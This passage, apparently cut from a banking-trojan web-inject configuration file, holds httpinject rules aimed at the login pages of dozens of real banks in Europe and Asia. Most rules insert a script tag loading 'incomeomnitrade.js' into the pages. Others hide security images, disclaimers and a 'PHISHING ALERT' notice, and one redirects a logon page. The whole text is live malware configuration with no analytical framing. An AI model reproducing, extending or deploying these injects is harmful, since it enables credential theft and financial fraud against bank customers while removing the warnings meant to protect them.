  1271. </conditions>
  1272. <actions>
  1273. <modify>
  1274. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1275. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1276. </modify>
  1277. </actions>
  1278. </httpinject>
  1279. <httpinject>
  1280. <conditions>
  1281. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://home\d+\.cbonline.co\.uk/ralu.*/reglm\-web/login\.ctl
  1282. </url>
  1283. </conditions>
  1284. <actions>
  1285. <modify>
  1286. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1287. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1288. </modify>
  1289. </actions>
  1290. </httpinject>
  1291. <httpinject>
  1292. <conditions>
  1293. <url type="allow" onpost="1" onget="1" modifiers="U">^https://www\.business\.hsbc\.co\.uk/1/2/</url>
  1294. </conditions>
  1295. <actions>
  1296. <modify>
  1297. <pattern modifiers="msU"><![CDATA[(class\="hsbcContent.+</div>)]]></pattern>
  1298. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1299. </modify>
  1300. </actions>
  1301. </httpinject>
  1302. <httpinject>
  1303. <conditions>
  1304. <url type="allow" onpost="1" onget="1" modifiers="">^https://clientlogin\.ibb\.ubs\.com/login(\?|$)</url>
  1305. </conditions>
  1306. <actions>
  1307. <modify>
  1308. <pattern modifiers="Ui"><![CDATA[(</form>)]]></pattern>
  1309. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1310. </modify>
  1311. </actions>
  1312. </httpinject>
  1313. <httpinject>
  1314. <conditions>
  1315. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://rakbankonline\.ae/corp/BANKAWAY(;|\?|$)</url>
  1316. </conditions>
  1317. <actions>
  1318. <modify>
  1319. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1320. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1321. </modify>
  1322. <modify>
  1323. <pattern modifiers="i"><![CDATA[( class="trouble")]]></pattern>
  1324. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  1325. </modify>
  1326. <modify>
  1327. <pattern modifiers="i"><![CDATA[( class="disclaimer")]]></pattern>
  1328. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  1329. </modify>
  1330. </actions>
  1331. </httpinject>
  1332. <httpinject>
  1333. <conditions>
  1334. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\d*\.secure\.hsbcnet\.com/uims/portal/IDV\_OTP\_CHALLENGE(;|$)</url>
  1335. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\d*\.secure\.hsbcnet\.com/uims/portal/IDV\_CAM10\_AUTHENTICATION(;|$)</url>
  1336. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\d*\.secure\.hsbcnet\.com/uims/content/public/hibm/logon/usernameInput.+</url>
  1337. </conditions>
  1338. <actions>
  1339. <modify>
  1340. <pattern modifiers=""><![CDATA[(</body>)]]></pattern>
  1341. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  1342. </modify>
  1343. <modify>
  1344. <pattern modifiers=""><![CDATA[<p class="required">Important Reminder.*</p>]]></pattern>
  1345. <replacement><![CDATA[]]></replacement>
  1346. </modify>
  1347. </actions>
  1348. </httpinject>
  1349. <httpinject>
  1350. <conditions>
  1351. <url type="allow" onpost="1" onget="1" modifiers="">^http://www\d*\.secure\.hsbcnet\.com/uims/content/public/hibm/logon/logon\.html</url>
  1352. </conditions>
  1353. <actions>
  1354. <modify>
  1355. <pattern modifiers=""><![CDATA[(<head>)]]></pattern>
  1356. <replacement><![CDATA[\1
  1357. <style>
  1358. body {display:none;}
  1359. </style>
  1360. <script type="text/javascript" language="JavaScript">
  1361. top.location.href = 'https://www2.secure.hsbcnet.com/uims/portal/IDV_CAM10_AUTHENTICATION';
  1362. </script>]]></replacement>
  1363. </modify>
  1364. </actions>
  1365. </httpinject>
  1366. <httpinject>
  1367. <conditions>
  1368. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://mcsign\.ba\-ca\.com/smartoffice/\_mcologon\?\.\.OASLogon</url>
  1369. </conditions>
  1370. <actions>
  1371. <modify>
  1372. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1373. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1374. </modify>
  1375. </actions>
  1376. </httpinject>
  1377. <httpinject>
  1378. <conditions>
  1379. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.rbsdigital\.com/(login|default)\.aspx
  1380. </url>
  1381. </conditions>
  1382. <actions>
  1383. <modify>
  1384. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1385. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1386. </modify>
  1387. <modify>
  1388. <pattern modifiers="i"><![CDATA[(class="frame securityImage")]]></pattern>
  1389. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  1390. </modify>
  1391. </actions>
  1392. </httpinject>
  1393. <httpinject>
  1394. <conditions>
  1395. <url type="allow" onpost="1" onget="1" modifiers="U">^https://www\.integrator\.barclays\.com/idc/html/LoginStep1\.html</url>
  1396. </conditions>
  1397. <actions>
  1398. <modify>
  1399. <pattern modifiers="Ui"><![CDATA[(</body>)]]></pattern>
  1400. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  1401. </modify>
  1402. </actions>
  1403. </httpinject>
  1404. <httpinject>
  1405. <conditions>
  1406. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://eadibcorp\.adib\.ae/cb/servlet/cb/jsp\-ns/login\.jsp</url>
  1407. </conditions>
  1408. <actions>
  1409. <modify>
  1410. <pattern modifiers="i"><![CDATA["><p align="justify"]]></pattern>
  1411. <replacement><![CDATA[display:none;"><p align="justify"]]></replacement>
  1412. </modify>
  1413. <modify>
  1414. <pattern modifiers="i"><![CDATA[Customer Service: <span dir="ltr">.*</span>]]></pattern>
  1415. <replacement><![CDATA[]]></replacement>
  1416. </modify>
  1417. <modify>
  1418. <pattern modifiers="i"><![CDATA[(td valign="middle" class="columndata" style="padding-left:30px;)]]></pattern>
  1419. <replacement><![CDATA[\1display:none;]]></replacement>
  1420. </modify>
  1421. </actions>
  1422. </httpinject>
  1423. <httpinject>
  1424. <conditions>
  1425. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://eadibcorp\.adib\.ae/cb/servlet/cb/jsp\-ns/login2\.jsp</url>
  1426. </conditions>
  1427. <actions>
  1428. <modify>
  1429. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  1430. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  1431. </modify>
  1432. </actions>
  1433. </httpinject>
  1434. <httpinject>
  1435. <conditions>
  1436. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\.commercial\.hsbc\.com\.hk/1/2/.+</url>
  1437. </conditions>
  1438. <actions>
  1439. <modify>
  1440. <pattern modifiers="sAi"><![CDATA[(.+</body>)]]></pattern>
  1441. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1442. </modify>
  1443. </actions>
  1444. </httpinject>
  1445. <httpinject>
  1446. <conditions>
  1447. <url type="allow" onpost="1" onget="1" modifiers="">^https://internet\-banking\.hk\.dbs\.com/IB/Welcome(\?|$)</url>
  1448. <url type="allow" onpost="1" onget="1" modifiers="">^https://internet\-banking\.dbs\.com\.sg/IB/Welcome(\?|$)</url>
  1449. </conditions>
  1450. <actions>
  1451. <modify>
  1452. <pattern modifiers="Ui"><![CDATA[(</form>)]]></pattern>
  1453. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1454. </modify>
  1455. </actions>
  1456. </httpinject>
  1457. <httpinject>
  1458. <conditions>
  1459. <url type="allow" onpost="1" onget="1" modifiers="i">^https://apib\d*\.anz\.com/apinetbank/(Startup|LoginEsInetANZ)\.aspx(\?|$)</url>
  1460. </conditions>
  1461. <actions>
  1462. <modify>
  1463. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1464. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1465. </modify>
  1466. </actions>
  1467. </httpinject>
  1468. <httpinject>
  1469. <conditions>
  1470. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://cib\.affinonline\.com/business/login\.html</url>
  1471. </conditions>
  1472. <actions>
  1473. <modify>
  1474. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1475. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1476. </modify>
  1477. </actions>
  1478. </httpinject>
  1479. <httpinject>
  1480. <conditions>
  1481. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ibank\.agribank\.com\.vn/ibank/index\.jsp</url>
  1482. </conditions>
  1483. <actions>
  1484. <modify>
  1485. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1486. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1487. </modify>
  1488. </actions>
  1489. </httpinject>
  1490. <httpinject>
  1491. <conditions>
  1492. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.allianceonline\.net\.my/Corporate/welcome\.htm</url>
  1493. </conditions>
  1494. <actions>
  1495. <modify>
  1496. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1497. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1498. </modify>
  1499. </actions>
  1500. </httpinject>
  1501. <httpinject>
  1502. <conditions>
  1503. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ambank\.amonline\.com\.my</url>
  1504. </conditions>
  1505. <actions>
  1506. <modify>
  1507. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  1508. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1509. </modify>
  1510. </actions>
  1511. </httpinject>
  1512. <httpinject>
  1513. <conditions>
  1514. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.amesecurities\.com\.my/gc/main\.jsp</url>
  1515. </conditions>
  1516. <actions>
  1517. <modify>
  1518. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  1519. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1520. </modify>
  1521. </actions>
  1522. </httpinject>
  1523. <httpinject>
  1524. <conditions>
  1525. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ibank\.bni\.co\.id/corp/AuthenticationController</url>
  1526. </conditions>
  1527. <actions>
  1528. <modify>
  1529. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1530. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="ibank/scripts/incomeomnitrade.js"></script>]]></replacement>
  1531. </modify>
  1532. </actions>
  1533. </httpinject>
  1534. <httpinject>
  1535. <conditions>
  1536. <url type="allow" onpost="1" onget="1" modifiers="">^https://cib\.bochk\.com/login/fis/cib\_login012\_.*\.jsp(\?|$)</url>
  1537. </conditions>
  1538. <actions>
  1539. <modify>
  1540. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1541. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1542. </modify>
  1543. </actions>
  1544. </httpinject>
  1545. <httpinject>
  1546. <conditions>
  1547. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ibank\.bri\.co\.id/cms/</url>
  1548. </conditions>
  1549. <actions>
  1550. <modify>
  1551. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1552. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1553. </modify>
  1554. </actions>
  1555. </httpinject>
  1556. <httpinject>
  1557. <conditions>
  1558. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ib\.bri\.co\.id/ib\-bri/Login\.html</url>
  1559. </conditions>
  1560. <actions>
  1561. <modify>
  1562. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  1563. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1564. </modify>
  1565. </actions>
  1566. </httpinject>
  1567. <httpinject>
  1568. <conditions>
  1569. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://bizibanking\.bangkokbank\.com/bblamsui/Signon.*\.aspx</url>
  1570. </conditions>
  1571. <actions>
  1572. <modify>
  1573. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1574. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1575. </modify>
  1576. </actions>
  1577. </httpinject>
  1578. <httpinject>
  1579. <conditions>
  1580. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.bankislam\.biz/rib/login/index</url>
  1581. </conditions>
  1582. <actions>
  1583. <modify>
  1584. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  1585. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1586. </modify>
  1587. </actions>
  1588. </httpinject>
  1589. <httpinject>
  1590. <conditions>
  1591. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ib\.bankmandiri\.co\.id/retail/Login\.do</url>
  1592. </conditions>
  1593. <actions>
  1594. <modify>
  1595. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1596. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1597. </modify>
  1598. </actions>
  1599. </httpinject>
  1600. <httpinject>
  1601. <conditions>
  1602. <url type="allow" onpost="1" onget="1" modifiers="">^https://cib\.bochk\.com/login/cib\_login012\_.*\.jsp(\?|$)</url>
  1603. </conditions>
  1604. <actions>
  1605. <modify>
  1606. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1607. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1608. </modify>
  1609. </actions>
  1610. </httpinject>
  1611. <httpinject>
  1612. <conditions>
  1613. <url type="allow" onpost="1" onget="1" modifiers="">^https://eb\.bankcomm\.com\.hk/eb/login\.action(\?|$)</url>
  1614. </conditions>
  1615. <actions>
  1616. <modify>
  1617. <pattern modifiers="sA"><![CDATA[(.+</form>)]]></pattern>
  1618. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1619. </modify>
  1620. </actions>
  1621. </httpinject>
  1622. <httpinject>
  1623. <conditions>
  1624. <url type="allow" onpost="1" onget="1" modifiers="">^https://biz\.hkbea\-cyberbanking\.com/servlet/MA01Show(\?|$)</url>
  1625. </conditions>
  1626. <actions>
  1627. <modify>
  1628. <pattern modifiers="sA"><![CDATA[(.+</form>)]]></pattern>
  1629. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1630. </modify>
  1631. </actions>
  1632. </httpinject>
  1633. <httpinject>
  1634. <conditions>
  1635. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://private\.bankofsingapore\.com/IPBWBWeb/Login/.+\.aspx(\?|$)</url>
  1636. </conditions>
  1637. <actions>
  1638. <modify>
  1639. <pattern modifiers="Ui"><![CDATA[(</form>)]]></pattern>
  1640. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1641. </modify>
  1642. </actions>
  1643. </httpinject>
  1644. <httpinject>
  1645. <conditions>
  1646. <url type="allow" onpost="1" onget="1" modifiers="i">^https://www\.bizchannel\.cimb\.com\.sg/corp/common\d*/login\.do(\?|$)</url>
  1647. </conditions>
  1648. <actions>
  1649. <modify>
  1650. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  1651. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1652. </modify>
  1653. </actions>
  1654. </httpinject>
  1655. <httpinject>
  1656. <conditions>
  1657. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.ebanking\.cimbthai\.com/cash/logon\.jsp</url>
  1658. </conditions>
  1659. <actions>
  1660. <modify>
  1661. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1662. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1663. </modify>
  1664. </actions>
  1665. </httpinject>
  1666. <httpinject>
  1667. <conditions>
  1668. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\.citibusiness\.citibank\.com\.sg/SGCBZ/JSO/signon/DisplayCinSignon\.do(\?|$)</url>
  1669. </conditions>
  1670. <actions>
  1671. <modify>
  1672. <pattern modifiers="sA"><![CDATA[(.+</form>)]]></pattern>
  1673. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1674. </modify>
  1675. <modify>
  1676. <pattern modifiers="sA"><![CDATA[.+(?<inject><b>PHISHING ALERT</b>.+?</font>.+?)</font>]]></pattern>
  1677. <replacement />
  1678. </modify>
  1679. </actions>
  1680. </httpinject>
  1681. <httpinject>
  1682. <conditions>
  1683. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.citibank\.com\.my/MYGCB/JPS/portal/Index\.do</url>
  1684. </conditions>
  1685. <actions>
  1686. <modify>
  1687. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1688. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1689. </modify>
  1690. </actions>
  1691. </httpinject>
  1692. <httpinject>
  1693. <conditions>
  1694. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\.credit\-suisse\.com\.sg/amserver/UI/Login(\?|$)</url>
  1695. </conditions>
  1696. <actions>
  1697. <modify>
  1698. <pattern modifiers="Ui"><![CDATA[(</form>)]]></pattern>
  1699. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1700. </modify>
  1701. </actions>
  1702. </httpinject>
  1703. <httpinject>
  1704. <conditions>
  1705. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ideal\.dbs\.com/loginSubscriber/login/(SubscriberLoginServlet|pin\.jsp)</url>
  1706. </conditions>
  1707. <actions>
  1708. <modify>
  1709. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1710. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1711. </modify>
  1712. </actions>
  1713. </httpinject>
  1714. <httpinject>
  1715. <conditions>
  1716. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.danamonline\.com/onlinebanking/Login/lgn_new\.aspx</url>
  1717. </conditions>
  1718. <actions>
  1719. <modify>
  1720. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  1721. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1722. </modify>
  1723. </actions>
  1724. </httpinject>
  1725. <httpinject>
  1726. <conditions>
  1727. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\.fbo\.fubonbank\.com\.hk/fboPortal/index\_e\.jsp(\?|$)</url>
  1728. </conditions>
  1729. <actions>
  1730. <modify>
  1731. <pattern modifiers="Ui"><![CDATA[(</form>)]]></pattern>
  1732. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1733. </modify>
  1734. </actions>
  1735. </httpinject>
  1736. <httpinject>
  1737. <conditions>
  1738. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\.hsbc\.com\.cn/1/2/.+</url>
  1739. </conditions>
  1740. <actions>
  1741. <modify>
  1742. <pattern modifiers="sAi"><![CDATA[(.+</body>)]]></pattern>
  1743. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1744. </modify>
  1745. </actions>
  1746. </httpinject>
  1747. <httpinject>
  1748. <conditions>
  1749. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\.hsbc\.com\.sg/1/2/.+</url>
  1750. </conditions>
  1751. <actions>
  1752. <modify>
  1753. <pattern modifiers="sAi"><![CDATA[(.+</body>)]]></pattern>
  1754. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1755. </modify>
  1756. </actions>
  1757. </httpinject>
  1758. <httpinject>
  1759. <conditions>
  1760. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.hsbc\.com\.vn/1/2/</url>
  1761. </conditions>
  1762. <actions>
  1763. <modify>
  1764. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1765. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1766. </modify>
  1767. </actions>
  1768. </httpinject>
  1769. <httpinject>
  1770. <conditions>
  1771. <url type="allow" onpost="1" onget="1" modifiers="U">^https://ebusiness\.hangseng\.com/1/2/</url>
  1772. </conditions>
  1773. <actions>
  1774. <modify>
  1775. <pattern modifiers="sAi"><![CDATA[(.+</form>)]]></pattern>
  1776. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1777. </modify>
  1778. </actions>
  1779. </httpinject>
  1780. <httpinject>
  1781. <conditions>
  1782. <url type="allow" onpost="1" onget="1" modifiers="">^https://ebank\.eonbank\.com\.my/cashmgmt/security/commonLogin\.jsp($|\?)</url>
  1783. </conditions>
  1784. <actions>
  1785. <modify>
  1786. <pattern modifiers="Ui"><![CDATA[(</form>)]]></pattern>
  1787. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1788. </modify>
  1789. </actions>
  1790. </httpinject>
  1791. <httpinject>
  1792. <conditions>
  1793. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.hongleongonline\.com\.my/business/public/main\.html</url>
  1794. </conditions>
  1795. <actions>
  1796. <modify>
  1797. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1798. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1799. </modify>
  1800. </actions>
  1801. </httpinject>
  1802. <httpinject>
  1803. <conditions>
  1804. <url type="allow" onpost="1" onget="1" modifiers="U">^https://ibank\.hncb\.com\.hk/netbank/pages/jsp/HKLogin/html/HKLogin\_en\.jsp(\?|$)</url>
  1805. </conditions>
  1806. <actions>
  1807. <modify>
  1808. <pattern modifiers="sA"><![CDATA[(.+</form>)]]></pattern>
  1809. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1810. </modify>
  1811. </actions>
  1812. </httpinject>
  1813. <httpinject>
  1814. <conditions>
  1815. <url type="allow" onpost="1" onget="1" modifiers="">^https://cib\.icicibank\.com\.sg/CIBSGAPP/BANKAWAY(\?|$)</url>
  1816. </conditions>
  1817. <actions>
  1818. <modify>
  1819. <pattern modifiers="sA"><![CDATA[(.+</form>)]]></pattern>
  1820. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1821. </modify>
  1822. </actions>
  1823. </httpinject>
  1824. <httpinject>
  1825. <conditions>
  1826. <url type="allow" onpost="1" onget="1" modifiers="">^https://(corpebankasia|corpebank)\.icbc\.com\.cn/icbc/corporbank/index.*\.jsp(\?|$)</url>
  1827. </conditions>
  1828. <actions>
  1829. <modify>
  1830. <pattern modifiers="isA"><![CDATA[(.+</form>)]]></pattern>
  1831. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1832. </modify>
  1833. </actions>
  1834. </httpinject>
  1835. <httpinject>
  1836. <conditions>
  1837. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ebank\.kasikornbankgroup\.com/kbiznet/login.*\.html</url>
  1838. </conditions>
  1839. <actions>
  1840. <modify>
  1841. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1842. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1843. </modify>
  1844. </actions>
  1845. </httpinject>
  1846. <httpinject>
  1847. <conditions>
  1848. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ws\d+\.kasikornbank\.com/baliweb/\d+/site/defaultskin/.*/html/static/logon\.htm</url>
  1849. </conditions>
  1850. <actions>
  1851. <modify>
  1852. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  1853. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  1854. </modify>
  1855. </actions>
  1856. </httpinject>
  1857. <httpinject>
  1858. <conditions>
  1859. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://vpn\.tarumanagara\.com/\+CSCOE\+/logon\.html</url>
  1860. </conditions>
  1861. <actions>
  1862. <modify>
  1863. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1864. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1865. </modify>
  1866. </actions>
  1867. </httpinject>
  1868. <httpinject>
  1869. <conditions>
  1870. <url type="allow" onpost="1" onget="1" modifiers="">^https://singapore\.lbbw\-business\.com/LBBWCorpWeb/login/.+\.action(\?|$)</url>
  1871. </conditions>
  1872. <actions>
  1873. <modify>
  1874. <pattern modifiers=""><![CDATA[(</form>)]]></pattern>
  1875. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1876. </modify>
  1877. </actions>
  1878. </httpinject>
  1879. <httpinject>
  1880. <conditions>
  1881. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://mcm\.bankmandiri\.co\.id/corp/common/login\.do\?action=login</url>
  1882. </conditions>
  1883. <actions>
  1884. <modify>
  1885. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1886. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1887. </modify>
  1888. </actions>
  1889. </httpinject>
  1890. <httpinject>
  1891. <conditions>
  1892. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://mib\.bankmandiri\.co\.id/sme/common/login\.do\?action=login</url>
  1893. </conditions>
  1894. <actions>
  1895. <modify>
  1896. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1897. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1898. </modify>
  1899. </actions>
  1900. </httpinject>
  1901. <httpinject>
  1902. <conditions>
  1903. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.maybank2u\.com\.my/mbb/m2u/common/mbbLoginCheckAdapt\.do</url>
  1904. </conditions>
  1905. <actions>
  1906. <modify>
  1907. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  1908. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1909. </modify>
  1910. </actions>
  1911. </httpinject>
  1912. <httpinject>
  1913. <conditions>
  1914. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.maybank2u\.com\.my/mbb/m2uNOW/common/mbbLoginCheckAdapt\.do</url>
  1915. </conditions>
  1916. <actions>
  1917. <modify>
  1918. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  1919. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1920. </modify>
  1921. </actions>
  1922. </httpinject>
  1923. <httpinject>
  1924. <conditions>
  1925. <url type="allow" onpost="1" onget="1" modifiers="">^https://sslsecure\.maybank\.com\.sg/cgi\-bin/mbs/scripts/mbb\_login\.jsp(\?|$)</url>
  1926. </conditions>
  1927. <actions>
  1928. <modify>
  1929. <pattern modifiers="sA"><![CDATA[(.+</form>)]]></pattern>
  1930. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1931. </modify>
  1932. </actions>
  1933. </httpinject>
  1934. <httpinject>
  1935. <conditions>
  1936. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.maybank2e\.net/M2E/mbbcustomer/</url>
  1937. </conditions>
  1938. <actions>
  1939. <modify>
